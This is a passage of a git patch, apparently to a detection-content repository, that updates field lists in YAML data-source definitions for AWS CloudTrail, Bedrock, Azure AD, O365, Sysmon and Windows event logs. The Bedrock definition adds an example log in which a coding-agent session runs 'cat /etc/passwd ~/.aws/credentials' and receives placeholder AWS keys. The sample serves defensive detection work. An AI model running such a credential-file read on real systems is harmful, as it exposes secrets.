From d99e6578a6ee632e8b910bea7104ed8228fbb35c Mon Sep 17 00:00:00 2001 From: nasbench <8741929+nasbench@users.noreply.github.com> Date: Wed, 14 Oct 2026 17:21:16 +0200 Subject: [PATCH 1/4] update data sources fields --- data_sources/asl_aws_cloudtrail.yml | 97 +++++++++ data_sources/aws_bedrock_claude.yml | 28 ++- data_sources/aws_cloudtrail.yml | 97 +++++++++ data_sources/aws_cloudtrail_consolelogin.yml | 20 +- .../aws_cloudtrail_createaccesskey.yml | 46 ++-- data_sources/aws_cloudtrail_createkey.yml | 33 +-- .../aws_cloudtrail_createnetworkaclentry.yml | 33 ++- .../aws_cloudtrail_createpolicyversion.yml | 34 ++- .../aws_cloudtrail_createsnapshot.yml | 23 +- .../aws_cloudtrail_deletedetector.yml | 19 +- data_sources/aws_cloudtrail_deletegroup.yml | 38 ++-- data_sources/aws_cloudtrail_deleteipset.yml | 19 +- ..._cloudtrail_deleteloggingconfiguration.yml | 87 ++++++++ .../aws_cloudtrail_deleteloggroup.yml | 19 +- .../aws_cloudtrail_deletelogstream.yml | 19 +- .../aws_cloudtrail_deletenetworkaclentry.yml | 33 ++- data_sources/aws_cloudtrail_deletepolicy.yml | 38 ++-- data_sources/aws_cloudtrail_deleterule.yml | 23 +- .../aws_cloudtrail_deleterulegroup.yml | 87 ++++++++ data_sources/aws_cloudtrail_deletetrail.yml | 18 +- data_sources/aws_cloudtrail_deletewebacl.yml | 23 +- ...s_cloudtrail_describeimagescanfindings.yml | 19 +- ...s_cloudtrail_describesnapshotattribute.yml | 68 +++--- .../aws_cloudtrail_getpassworddata.yml | 18 +- .../aws_cloudtrail_modifydbinstance.yml | 21 +- .../aws_cloudtrail_modifyimageattribute.yml | 17 +- ...aws_cloudtrail_modifysnapshotattribute.yml | 33 ++- .../aws_cloudtrail_putbucketlifecycle.yml | 39 ++-- data_sources/aws_cloudtrail_putimage.yml | 20 +- data_sources/aws_cloudtrail_putkeypolicy.yml | 81 ++++++-- .../aws_cloudtrail_replacenetworkaclentry.yml | 33 ++- ...aws_cloudtrail_setdefaultpolicyversion.yml | 33 ++- data_sources/aws_cloudtrail_stoplogging.yml | 16 +- .../aws_cloudtrail_updateloginprofile.yml | 29 +-- data_sources/aws_cloudtrail_updatetrail.yml | 16 +- data_sources/azure_active_directory.yml | 124 +++++++++++ ...p_role_assignment_to_service_principal.yml | 12 +- ...re_active_directory_add_member_to_role.yml | 36 +++- ...ive_directory_add_owner_to_application.yml | 33 ++- ...active_directory_add_service_principal.yml | 43 +++- ...active_directory_add_unverified_domain.yml | 37 +++- ...ctive_directory_consent_to_application.yml | 33 ++- ...irectory_disable_strong_authentication.yml | 23 +- .../azure_active_directory_enable_account.yml | 32 ++- ..._active_directory_invite_external_user.yml | 35 +++- ...e_directory_microsoftgraphactivitylogs.yml | 73 +++++++ ...directory_noninteractiveusersigninlogs.yml | 57 +---- ...ve_directory_reset_password_(by_admin).yml | 35 +++- ...ve_directory_set_domain_authentication.yml | 29 ++- ...zure_active_directory_sign_in_activity.yml | 39 +++- ...re_active_directory_update_application.yml | 34 ++- ..._directory_update_authorization_policy.yml | 36 +++- .../azure_active_directory_update_user.yml | 33 ++- ...irectory_user_registered_security_info.yml | 33 ++- ..._or_update_an_azure_automation_account.yml | 2 +- ..._or_update_an_azure_automation_runbook.yml | 11 +- ..._or_update_an_azure_automation_webhook.yml | 4 +- data_sources/azure_monitor_activity.yml | 28 +-- .../crowdstrike_falcon_stream_alert.yml | 102 ++++----- data_sources/g_suite_gmail.yml | 2 - data_sources/google_workspace.yml | 59 +----- data_sources/linux_auditd_add_user.yml | 44 ++-- data_sources/linux_auditd_cwd.yml | 16 ++ data_sources/linux_auditd_daemon_abort.yml | 29 ++- data_sources/linux_auditd_daemon_end.yml | 29 ++- data_sources/linux_auditd_daemon_start.yml | 34 ++- data_sources/linux_auditd_execve.yml | 28 ++- data_sources/linux_auditd_path.yml | 47 +++-- data_sources/linux_auditd_proctitle.yml | 26 ++- data_sources/linux_auditd_service_stop.yml | 41 +++- data_sources/linux_secure.yml | 6 + data_sources/m365_copilot_graph_api.yml | 23 ++ data_sources/o365.yml | 76 +++++++ ...add_app_role_assignment_grant_to_user_.yml | 69 +++--- ..._role_assignment_to_service_principal_.yml | 54 ++--- data_sources/o365_add_mailboxpermission.yml | 51 ++--- data_sources/o365_add_member_to_role_.yml | 53 ++--- .../o365_add_owner_to_application_.yml | 53 ++--- data_sources/o365_add_service_principal_.yml | 56 ++--- data_sources/o365_change_user_license_.yml | 47 +++-- data_sources/o365_consent_to_application_.yml | 51 ++--- .../o365_disable_strong_authentication_.yml | 67 +++--- data_sources/o365_mailitemsaccessed.yml | 63 ++++-- data_sources/o365_modifyfolderpermissions.yml | 67 +++--- .../o365_set_company_information_.yml | 72 ++++--- data_sources/o365_update_application_.yml | 54 ++--- .../o365_update_authorization_policy_.yml | 52 ++--- data_sources/o365_update_user_.yml | 55 ++--- data_sources/o365_userloggedin.yml | 73 ++++--- data_sources/o365_userloginfailed.yml | 76 +++---- .../powershell_script_block_logging_4104.yml | 47 ++--- data_sources/sysmon_eventid_10.yml | 73 ++++--- data_sources/sysmon_eventid_11.yml | 64 +++--- data_sources/sysmon_eventid_12.yml | 65 +++--- data_sources/sysmon_eventid_13.yml | 68 +++--- data_sources/sysmon_eventid_14.yml | 116 +++++++++++ data_sources/sysmon_eventid_15.yml | 6 + data_sources/sysmon_eventid_17.yml | 64 +++--- data_sources/sysmon_eventid_18.yml | 64 +++--- data_sources/sysmon_eventid_22.yml | 7 + data_sources/sysmon_eventid_23.yml | 73 +++---- data_sources/sysmon_eventid_26.yml | 81 ++++++++ data_sources/sysmon_eventid_29.yml | 73 +++++-- data_sources/sysmon_eventid_3.yml | 86 ++++---- data_sources/sysmon_eventid_6.yml | 69 +++--- data_sources/sysmon_eventid_7.yml | 88 ++++---- data_sources/sysmon_eventid_8.yml | 75 +++---- .../windows_active_directory_admon.yml | 20 +- .../windows_event_log_application_15457.yml | 80 +++---- .../windows_event_log_application_2282.yml | 44 ++-- .../windows_event_log_application_3000.yml | 39 ++-- .../windows_event_log_application_8128.yml | 67 ++---- ...ws_event_log_appxdeployment_server_400.yml | 95 ++++++++- ...ws_event_log_appxdeployment_server_854.yml | 99 ++++++++- ...ws_event_log_appxdeployment_server_855.yml | 104 +++++++++- .../windows_event_log_appxpackaging_171.yml | 101 ++++++++- .../windows_event_log_defender_1116.yml | 20 ++ .../windows_event_log_defender_1117.yml | 19 +- .../windows_event_log_defender_1121.yml | 70 +++++-- .../windows_event_log_defender_1122.yml | 67 ++++-- .../windows_event_log_defender_1125.yml | 88 ++++++++ .../windows_event_log_defender_1126.yml | 97 ++++----- .../windows_event_log_defender_1129.yml | 41 ++-- .../windows_event_log_defender_1131.yml | 99 ++++----- .../windows_event_log_defender_1132.yml | 99 ++++----- .../windows_event_log_defender_1133.yml | 99 ++++----- .../windows_event_log_defender_1134.yml | 99 ++++----- .../windows_event_log_defender_5007.yml | 77 +++++-- .../windows_event_log_security_1100.yml | 53 +++-- .../windows_event_log_security_1102.yml | 69 +++--- .../windows_event_log_security_4624.yml | 99 +++++---- .../windows_event_log_security_4625.yml | 101 +++++---- .../windows_event_log_security_4648.yml | 88 ++++---- .../windows_event_log_security_4662.yml | 67 +++--- .../windows_event_log_security_4663.yml | 75 ++++--- .../windows_event_log_security_4672.yml | 66 +++--- .../windows_event_log_security_4688.yml | 81 +++++--- .../windows_event_log_security_4698.yml | 84 ++++---- .../windows_event_log_security_4699.yml | 68 +++--- .../windows_event_log_security_4700.yml | 77 +++++++ .../windows_event_log_security_4702.yml | 77 +++++++ .../windows_event_log_security_4703.yml | 85 ++++---- .../windows_event_log_security_4719.yml | 74 +++---- .../windows_event_log_security_4720.yml | 118 ++++++----- .../windows_event_log_security_4723.yml | 77 ++++--- .../windows_event_log_security_4724.yml | 76 ++++--- .../windows_event_log_security_4725.yml | 76 ++++--- .../windows_event_log_security_4726.yml | 78 ++++--- .../windows_event_log_security_4727.yml | 170 +++++++++++++++ .../windows_event_log_security_4728.yml | 119 +++++++++++ .../windows_event_log_security_4730.yml | 196 +++++++++++++----- .../windows_event_log_security_4731.yml | 170 +++++++++++++++ .../windows_event_log_security_4732.yml | 89 ++++---- .../windows_event_log_security_4737.yml | 196 +++++++++++++----- .../windows_event_log_security_4738.yml | 97 ++++----- .../windows_event_log_security_4741.yml | 94 ++++----- .../windows_event_log_security_4742.yml | 127 +++++++----- .../windows_event_log_security_4744.yml | 170 +++++++++++++++ .../windows_event_log_security_4749.yml | 170 +++++++++++++++ .../windows_event_log_security_4754.yml | 170 +++++++++++++++ .../windows_event_log_security_4756.yml | 170 +++++++++++++++ .../windows_event_log_security_4759.yml | 170 +++++++++++++++ .../windows_event_log_security_4768.yml | 79 ++++--- .../windows_event_log_security_4769.yml | 78 ++++--- .../windows_event_log_security_4771.yml | 68 +++--- .../windows_event_log_security_4776.yml | 62 +++--- .../windows_event_log_security_4781.yml | 78 ++++--- .../windows_event_log_security_4783.yml | 170 +++++++++++++++ .../windows_event_log_security_4790.yml | 170 +++++++++++++++ .../windows_event_log_security_4794.yml | 112 +++++++--- .../windows_event_log_security_4798.yml | 89 ++++---- .../windows_event_log_security_4876.yml | 69 +++--- .../windows_event_log_security_4886.yml | 55 +++-- .../windows_event_log_security_4887.yml | 59 +++--- .../windows_event_log_security_4946.yml | 54 ++++- .../windows_event_log_security_4947.yml | 54 ++++- .../windows_event_log_security_4948.yml | 54 ++++- .../windows_event_log_security_5136.yml | 63 +++--- .../windows_event_log_security_5137.yml | 64 +++--- .../windows_event_log_security_5140.yml | 72 +++---- .../windows_event_log_security_5141.yml | 66 +++--- .../windows_event_log_security_5145.yml | 73 ++++--- .../windows_event_log_security_5447.yml | 63 +++--- data_sources/windows_event_log_system_104.yml | 67 ++++++ .../windows_event_log_system_7036.yml | 50 ++--- .../windows_event_log_system_7040.yml | 52 ++--- .../windows_event_log_system_7045.yml | 56 +++-- .../windows_event_log_taskscheduler_201.yml | 45 ++++ 188 files changed, 8172 insertions(+), 3764 deletions(-) diff --git a/data_sources/asl_aws_cloudtrail.yml b/data_sources/asl_aws_cloudtrail.yml index 177d51fa85..df2f35ffbc 100644 --- a/data_sources/asl_aws_cloudtrail.yml +++ b/data_sources/asl_aws_cloudtrail.yml @@ -21,6 +21,103 @@ mitre_components: source: aws_asl sourcetype: aws:asl separator: api.operation +fields: + - _time + - accountid + - activity_id + - activity_name + - actor.idp.name + - actor.invoked_by + - actor.session.created_time_dt + - actor.session.is_mfa + - actor.session.issuer + - actor.user.account.uid + - actor.user.credential_uid + - actor.user.name + - actor.user.type + - actor.user.uid + - actor.user.uid_alt + - api.operation + - api.request.data + - api.request.uid + - api.response.data + - api.response.error + - api.response.message + - api.service.name + - api.version + - asl_version + - category_name + - category_uid + - class_name + - class_uid + - cloud.provider + - cloud.region + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dst_endpoint.svc_name + - eventtype + - host + - http_request.user_agent + - index + - is_mfa + - linecount + - metadata.event_code + - metadata.product.feature.name + - metadata.product.name + - metadata.product.vendor_name + - metadata.product.version + - metadata.profiles + - metadata.uid + - metadata.version + - observables.name + - observables.type + - observables.type_id + - observables.value + - policy.uid + - punct + - region + - resources + - session.credential_uid + - session.issuer + - session.uid + - session.uid_alt + - severity + - severity_id + - source + - sourcetype + - splunk_server + - src_endpoint.domain + - src_endpoint.ip + - src_endpoint.uid + - status + - tag + - tag::eventtype + - time + - time_dt + - timeendpos + - timestartpos + - type_name + - type_uid + - unmapped.managementEvent + - unmapped.readOnly + - unmapped.recipientAccountId + - unmapped.sessionCredentialFromConsole + - unmapped.tlsDetails.cipherSuite + - unmapped.tlsDetails.clientProvidedHostHeader + - unmapped.tlsDetails.tlsVersion + - unmapped.userIdentity.sessionContext.sessionIssuer.accountId + - unmapped.userIdentity.sessionContext.sessionIssuer.principalId + - unmapped.userIdentity.sessionContext.sessionIssuer.type + - unmapped.userIdentity.sessionContext.sessionIssuer.userName + - user.name + - user.uid + - user.uid_alt supported_TA: - name: Splunk Add-on for AWS url: https://splunkbase.splunk.com/app/1876 diff --git a/data_sources/aws_bedrock_claude.yml b/data_sources/aws_bedrock_claude.yml index 801a3882ea..c3b92d3802 100644 --- a/data_sources/aws_bedrock_claude.yml +++ b/data_sources/aws_bedrock_claude.yml @@ -20,41 +20,65 @@ fields: - accountId - host - identity.arn + - index - inferenceRegion - input.cacheReadInputTokenCount - input.cacheWriteInputTokenCount - - input.inputBodyJson.anthropic_beta + - input.inputBodyJson.anthropic_beta{} - input.inputBodyJson.anthropic_version - input.inputBodyJson.max_tokens + - input.inputBodyJson.messages{}.content{}.cache_control.type - input.inputBodyJson.messages{}.content{}.text - input.inputBodyJson.messages{}.content{}.type - input.inputBodyJson.messages{}.role - input.inputBodyJson.metadata.user_id + - input.inputBodyJson.system{}.cache_control.type - input.inputBodyJson.system{}.text - input.inputBodyJson.system{}.type - input.inputBodyJson.temperature - - input.inputBodyJson.tools - input.inputContentType - input.inputTokenCount + - linecount - modelId - operation + - output.outputBodyJson{}.amazon-bedrock-invocationMetrics.firstByteLatency + - output.outputBodyJson{}.amazon-bedrock-invocationMetrics.inputTokenCount + - output.outputBodyJson{}.amazon-bedrock-invocationMetrics.invocationLatency + - output.outputBodyJson{}.amazon-bedrock-invocationMetrics.outputTokenCount + - output.outputBodyJson{}.content_block.text + - output.outputBodyJson{}.content_block.type + - output.outputBodyJson{}.delta.stop_reason + - output.outputBodyJson{}.delta.stop_sequence + - output.outputBodyJson{}.delta.text + - output.outputBodyJson{}.delta.type + - output.outputBodyJson{}.index - output.outputBodyJson{}.message.id - output.outputBodyJson{}.message.model - output.outputBodyJson{}.message.role - output.outputBodyJson{}.message.stop_reason + - output.outputBodyJson{}.message.stop_sequence + - output.outputBodyJson{}.message.type + - output.outputBodyJson{}.message.usage.cache_creation.ephemeral_1h_input_tokens + - output.outputBodyJson{}.message.usage.cache_creation.ephemeral_5m_input_tokens - output.outputBodyJson{}.message.usage.cache_creation_input_tokens - output.outputBodyJson{}.message.usage.cache_read_input_tokens - output.outputBodyJson{}.message.usage.input_tokens - output.outputBodyJson{}.message.usage.output_tokens - output.outputBodyJson{}.type + - output.outputBodyJson{}.usage.cache_creation_input_tokens + - output.outputBodyJson{}.usage.cache_read_input_tokens + - output.outputBodyJson{}.usage.input_tokens + - output.outputBodyJson{}.usage.output_tokens - output.outputContentType - output.outputTokenCount + - punct - region - requestId - schemaType - schemaVersion - source - sourcetype + - splunk_server - timestamp example_log: '{"timestamp":"2026-05-07T19:43:51Z","accountId":"387769110234","region":"us-west-2","requestId":"eb4b957b-6cbd-4679-8356-3bf3dde4d86e","operation":"InvokeModelWithResponseStream","modelId":"arn:aws:bedrock:us-west-2:387769110234:application-inference-profile/9tr38q319pda","input":{"inputContentType":"application/json","inputBodyJson":{"messages":[{"role":"user","content":[{"type":"text","text":"Command: cat /etc/passwd ~/.aws/credentials\nOutput: root:x:0:0:root:/root:/bin/bash\naws_access_key_id=AKIAIOSFODNN7EXAMPLE\naws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY","cache_control":{"type":"ephemeral"}}]}],"system":[{"type":"text","text":"You are Claude Code, Anthropic official CLI for Claude.","cache_control":{"type":"ephemeral"}}],"tools":[],"metadata":{"user_id":"user_cac3250bfea25c22f4deeaa4f2203cfb2d32fa6d33fc2be55da7585999de0387_account__session_6410ddbe-4a76-4d6a-87b4-a2e5e2d3b853"},"max_tokens":16384,"temperature":1,"anthropic_version":"bedrock-2023-05-31","anthropic_beta":["claude-code-20250219"]},"inputTokenCount":2536,"cacheReadInputTokenCount":0,"cacheWriteInputTokenCount":0},"output":{"outputContentType":"application/json","outputBodyJson":[{"type":"message_start","message":{"model":"claude-haiku-4-5-20251001","id":"msg_bdrk_01Hxoz2bLhqvhZHSkdphvtZp","type":"message","role":"assistant","content":[],"stop_reason":null,"stop_sequence":null,"usage":{"input_tokens":2536,"cache_creation_input_tokens":0,"cache_read_input_tokens":0,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":0},"output_tokens":2}}},{"type":"message_stop","amazon-bedrock-invocationMetrics":{"inputTokenCount":2536,"outputTokenCount":31,"invocationLatency":1200,"firstByteLatency":900}}],"outputTokenCount":31},"identity":{"arn":"arn:aws:sts::387769110234:assumed-role/bedrock-inference-role/vg@foo.com"},"inferenceRegion":"us-east-2","schemaType":"ModelInvocationLog","schemaVersion":"1.0"}' output_fields: diff --git a/data_sources/aws_cloudtrail.yml b/data_sources/aws_cloudtrail.yml index 9ce661d969..21f051e912 100644 --- a/data_sources/aws_cloudtrail.yml +++ b/data_sources/aws_cloudtrail.yml @@ -8,6 +8,103 @@ description: All AWS CloudTrail events source: aws_cloudtrail sourcetype: aws:cloudtrail separator: eventName + +fields: + - _time + - app + - aws_account_id + - awsRegion + - change_type + - command + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - dvc + - errorCode + - eventCategory + - eventID + - eventName + - eventSource + - eventTime + - eventType + - eventVersion + - host + - index + - linecount + - managementEvent + - msg + - object_category + - product + - punct + - readOnly + - recipientAccountId + - region + - requestID + - requestParameters.dryRun + - requestParameters.fullyQualifiedArn.arnPrefix.account + - requestParameters.fullyQualifiedArn.arnPrefix.partition + - requestParameters.fullyQualifiedArn.arnPrefix.region + - requestParameters.fullyQualifiedArn.relativeId.functionName + - requestParameters.functionName + - requestParameters.publish + - responseElements.architectures{} + - responseElements.codeSha256 + - responseElements.codeSize + - responseElements.description + - responseElements.functionArn + - responseElements.functionName + - responseElements.handler + - responseElements.lastModified + - responseElements.lastUpdateStatus + - responseElements.lastUpdateStatusReason + - responseElements.lastUpdateStatusReasonCode + - responseElements.memorySize + - responseElements.packageType + - responseElements.revisionId + - responseElements.role + - responseElements.runtime + - responseElements.state + - responseElements.stateReason + - responseElements.stateReasonCode + - responseElements.timeout + - responseElements.tracingConfig.mode + - responseElements.version + - signature + - source + - sourceIPAddress + - sourcetype + - splunk_server + - src + - src_ip + - src_user + - start_time + - timeendpos + - timestartpos + - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type + - userAgent + - userIdentity.accessKeyId + - userIdentity.accountId + - userIdentity.arn + - userIdentity.principalId + - userIdentity.type + - userIdentity.userName + - userName + - vendor + - vendor_account + - vendor_product + - vendor_region supported_TA: - name: Splunk Add-on for AWS url: https://splunkbase.splunk.com/app/1876 diff --git a/data_sources/aws_cloudtrail_consolelogin.yml b/data_sources/aws_cloudtrail_consolelogin.yml index 1c5f94ecab..b141733a0f 100644 --- a/data_sources/aws_cloudtrail_consolelogin.yml +++ b/data_sources/aws_cloudtrail_consolelogin.yml @@ -27,8 +27,8 @@ fields: - additionalEventData.MobileVersion - app - authentication_method - - awsRegion - aws_account_id + - awsRegion - command - date_hour - date_mday @@ -49,8 +49,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -83,16 +83,22 @@ fields: - tlsDetails.cipherSuite - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - - userAgent - - userIdentity.accessKeyId - - userIdentity.accountId - - userIdentity.type - - userIdentity.userName + - user - user_access_key - user_agent + - user_arn - user_group_id + - user_id - user_name - user_type + - userAgent + - userIdentity.accessKeyId + - userIdentity.accountId + - userIdentity.arn + - userIdentity.principalId + - userIdentity.type + - userIdentity.userName + - userName - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_createaccesskey.yml b/data_sources/aws_cloudtrail_createaccesskey.yml index 90d25a6c4b..22c6a034e8 100644 --- a/data_sources/aws_cloudtrail_createaccesskey.yml +++ b/data_sources/aws_cloudtrail_createaccesskey.yml @@ -22,46 +22,48 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - desc - dest - dvc - errorCode + - errorMessage - eventCategory - eventID - eventName - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount - managementEvent - msg + - object + - object_attrs - object_category + - object_id - product - punct - readOnly + - reason - recipientAccountId - region - requestID + - requestParameters - requestParameters.userName + - responseElements - responseElements.accessKey.accessKeyId - responseElements.accessKey.createDate - responseElements.accessKey.status - responseElements.accessKey.userName + - result + - result_id - signature - source - sourceIPAddress @@ -69,29 +71,35 @@ fields: - splunk_server - src - src_ip + - src_user - src_user_name + - src_user_type - start_time - status - tag - tag::eventtype - - timeendpos - - timestartpos + - timestamp - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name - userAgent - userIdentity.accessKeyId - userIdentity.accountId - userIdentity.arn - userIdentity.principalId + - userIdentity.sessionContext.attributes.creationDate + - userIdentity.sessionContext.attributes.mfaAuthenticated + - userIdentity.sessionContext.sessionIssuer.accountId + - userIdentity.sessionContext.sessionIssuer.arn + - userIdentity.sessionContext.sessionIssuer.principalId + - userIdentity.sessionContext.sessionIssuer.type + - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_createkey.yml b/data_sources/aws_cloudtrail_createkey.yml index 66946e9161..4839322166 100644 --- a/data_sources/aws_cloudtrail_createkey.yml +++ b/data_sources/aws_cloudtrail_createkey.yml @@ -21,17 +21,9 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dvc - errorCode @@ -41,8 +33,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -61,11 +53,11 @@ fields: - requestParameters.keyUsage - requestParameters.origin - requestParameters.policy - - resources{}.ARN - resources{}.accountId + - resources{}.ARN - resources{}.type - - responseElements.keyMetadata.aWSAccountId - responseElements.keyMetadata.arn + - responseElements.keyMetadata.aWSAccountId - responseElements.keyMetadata.creationDate - responseElements.keyMetadata.customerMasterKeySpec - responseElements.keyMetadata.description @@ -86,9 +78,13 @@ fields: - start_time - tag - tag::eventtype - - timeendpos - - timestartpos - - user + - timestamp + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -103,13 +99,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_createnetworkaclentry.yml b/data_sources/aws_cloudtrail_createnetworkaclentry.yml index c1153a3068..a727b5e389 100644 --- a/data_sources/aws_cloudtrail_createnetworkaclentry.yml +++ b/data_sources/aws_cloudtrail_createnetworkaclentry.yml @@ -22,18 +22,10 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - direction - dvc @@ -44,14 +36,15 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount - managementEvent - msg - object + - object_attrs - object_category - object_id - product @@ -66,6 +59,8 @@ fields: - requestParameters.cidrBlock - requestParameters.egress - requestParameters.networkAclId + - requestParameters.portRange.from + - requestParameters.portRange.to - requestParameters.ruleAction - requestParameters.ruleNumber - responseElements._return @@ -79,13 +74,18 @@ fields: - src - src_ip - src_ip_range + - src_port_range - start_time - status - tag - tag::eventtype - - timeendpos - - timestartpos - - user + - timestamp + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -100,13 +100,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_createpolicyversion.yml b/data_sources/aws_cloudtrail_createpolicyversion.yml index 00c450ca5d..605ce1e15f 100644 --- a/data_sources/aws_cloudtrail_createpolicyversion.yml +++ b/data_sources/aws_cloudtrail_createpolicyversion.yml @@ -22,29 +22,22 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dvc - errorCode + - errorMessage - eventCategory - eventID - eventName - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -54,15 +47,19 @@ fields: - product - punct - readOnly + - reason - recipientAccountId - region - requestID - requestParameters.policyArn - requestParameters.policyDocument - requestParameters.setAsDefault + - responseElements - responseElements.policyVersion.createDate - responseElements.policyVersion.isDefaultVersion - responseElements.policyVersion.versionId + - result + - result_id - signature - source - sourceIPAddress @@ -70,13 +67,19 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - status - tag - tag::eventtype - - timeendpos - - timestartpos + - timestamp - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -85,13 +88,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_createsnapshot.yml b/data_sources/aws_cloudtrail_createsnapshot.yml index 621812b8ec..e7fb77ba68 100644 --- a/data_sources/aws_cloudtrail_createsnapshot.yml +++ b/data_sources/aws_cloudtrail_createsnapshot.yml @@ -20,9 +20,10 @@ supported_TA: version: 8.2.2 fields: - _time + - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - date_hour @@ -42,14 +43,17 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount - managementEvent - msg + - object + - object_attrs - object_category + - object_id - product - punct - readOnly @@ -77,7 +81,9 @@ fields: - splunk_server - src - src_ip + - src_user - start_time + - status - tag - tag::eventtype - timeendpos @@ -86,6 +92,12 @@ fields: - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -94,13 +106,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_deletedetector.yml b/data_sources/aws_cloudtrail_deletedetector.yml index 39d29d1a6f..3da7b06701 100644 --- a/data_sources/aws_cloudtrail_deletedetector.yml +++ b/data_sources/aws_cloudtrail_deletedetector.yml @@ -21,8 +21,9 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -41,8 +42,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -66,12 +67,19 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - tag - tag::eventtype - timeendpos - timestartpos - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -80,13 +88,6 @@ fields: - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_deletegroup.yml b/data_sources/aws_cloudtrail_deletegroup.yml index d190093d91..df0f6ea77f 100644 --- a/data_sources/aws_cloudtrail_deletegroup.yml +++ b/data_sources/aws_cloudtrail_deletegroup.yml @@ -22,18 +22,11 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - desc - dest - dvc - errorCode @@ -44,8 +37,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -59,6 +52,7 @@ fields: - recipientAccountId - region - requestID + - requestParameters - requestParameters.groupName - responseElements - result @@ -70,28 +64,34 @@ fields: - splunk_server - src - src_ip + - src_user - start_time - status - tag - tag::eventtype - - timeendpos - - timestartpos + - timestamp - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId - userIdentity.arn - userIdentity.principalId + - userIdentity.sessionContext.attributes.creationDate + - userIdentity.sessionContext.attributes.mfaAuthenticated + - userIdentity.sessionContext.sessionIssuer.accountId + - userIdentity.sessionContext.sessionIssuer.arn + - userIdentity.sessionContext.sessionIssuer.principalId + - userIdentity.sessionContext.sessionIssuer.type + - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product diff --git a/data_sources/aws_cloudtrail_deleteipset.yml b/data_sources/aws_cloudtrail_deleteipset.yml index 6cb149284f..2b929fc575 100644 --- a/data_sources/aws_cloudtrail_deleteipset.yml +++ b/data_sources/aws_cloudtrail_deleteipset.yml @@ -20,8 +20,9 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion + - change_type - command - date_hour - date_mday @@ -40,8 +41,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -66,12 